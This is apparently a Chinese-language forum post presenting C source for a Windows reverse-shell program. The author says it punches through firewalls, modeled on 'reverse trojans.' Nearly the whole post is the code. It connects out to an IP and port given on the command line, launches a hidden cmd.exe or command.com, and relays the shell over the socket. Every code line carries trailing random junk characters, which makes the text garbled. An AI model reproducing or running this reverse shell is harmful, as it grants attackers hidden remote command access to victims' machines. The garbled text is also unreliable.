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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _/*U2.xS  
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/* ============================== q_W0/Ki8  
Rebound port in Windows NT l&YKD,H};  
By wind,2006/7 spofLu.  
===============================*/ O#EV5FeF.  
#include lOwS&4UT  
#include \qvaE+  
u}bf-;R  
#pragma comment(lib,"wsock32.lib") DD9?V}Yx  
nfW&1a  
void OutputShell(); @XD+'{]  
SOCKET sClient; gnp~OVDqfL  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^[-el=oKn0  
;8S/6FI  
void main(int argc,char **argv) >N\0"F7.  
{ t2" (2  
WSADATA stWsaData; !  Z`0(d  
int nRet; l=N2lHU  
SOCKADDR_IN stSaiClient,stSaiServer; Awv`)"RAR  
XMB[h   
if(argc != 3) 9~rUkHD  
{ Z|9u]xL  
printf("Useage:\n\rRebound DestIP DestPort\n"); \AUI|M;'  
return;  =$8nUX`  
} Cp`j/rF  
MF3b{|Z  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;Yfv!\^|  
S_T^G` [  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lDC$F N  
I|-p3g8\  
stSaiClient.sin_family = AF_INET; BG^C9*ZuP  
stSaiClient.sin_port = htons(0); H xV#WoYKj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &0TVi  
p47S^gW  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e7fiGl  
{ `u!l3VZ/4  
printf("Bind Socket Failed!\n"); ffXyc2o  
return; bb42v7?  
} /:6Wzj  
;?}l  
stSaiServer.sin_family = AF_INET; o[ENp'r  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !}\4u tHY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \7MHaQvS   
WD;Y~|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S|rgCh!h  
{ bk<\ujH  
printf("Connect Error!"); B{oU,3U>  
return; 1Kvx1p   
} }7G8|54t  
OutputShell(); p2J|Hl|  
} dt[k\ !-v  
w#JJXXQI  
void OutputShell() .*$OQA  
{ =Cv/Y%DN  
char szBuff[1024]; Uw-p758dD  
SECURITY_ATTRIBUTES stSecurityAttributes; hqk}akXt  
OSVERSIONINFO stOsversionInfo; h=kQ$`j6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1iL 'V-y  
STARTUPINFO stStartupInfo; 0w'j+  
char *szShell; Et"?8\"n7  
PROCESS_INFORMATION stProcessInformation; T&T/C@z'R  
unsigned long lBytesRead; 58%'UwKn  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P^MOx4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .0u/|Yx  
stSecurityAttributes.lpSecurityDescriptor = 0; T,fI BD:  
stSecurityAttributes.bInheritHandle = TRUE; Tj~IaU  
1[*UYcD  
*'"T$ib  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Nf3.\eR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Bb&^ {7  
G>YAJ o  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (vR 9H(#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y=Z1Tdxa|  
stStartupInfo.wShowWindow = SW_HIDE; VN4yn| f/  
stStartupInfo.hStdInput = hReadPipe;  I~,G  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Vh3Ijn  
&Gm$:T'~  
GetVersionEx(&stOsversionInfo); +,:^5{9{  
R j~  
switch(stOsversionInfo.dwPlatformId) TUT][ =.=  
{ ^1:U'jIXO  
case 1: oIGrA-T}  
szShell = "command.com"; c/L>>t  
break; =H0vE7{*  
default: #{r#;+  
szShell = "cmd.exe"; P+MA*:  
break; A392=:N+Q  
} `"iY*  
Q@e[5RA +]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >$gG/WD?KR  
c4e_6=Iv  
send(sClient,szMsg,77,0); sDgXU@  
while(1) IYWjH E+)d  
{ >Sa*`q3J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1\RGM<q$f  
if(lBytesRead) M:Er_,E  
{ n}A\2bO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $&|y<Y=  
send(sClient,szBuff,lBytesRead,0); sUl6hX4  
} M)?dEgU}M  
else -Z4{;I[Q@  
{ gADmN8G=  
lBytesRead=recv(sClient,szBuff,1024,0); 2c<&eX8"  
if(lBytesRead<=0) break; NT%W;)6m9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :J}t&t  
} z s Qo$p  
} i$^)UZJ&0  
C0.'_  
return; eZ a:o1y  
}
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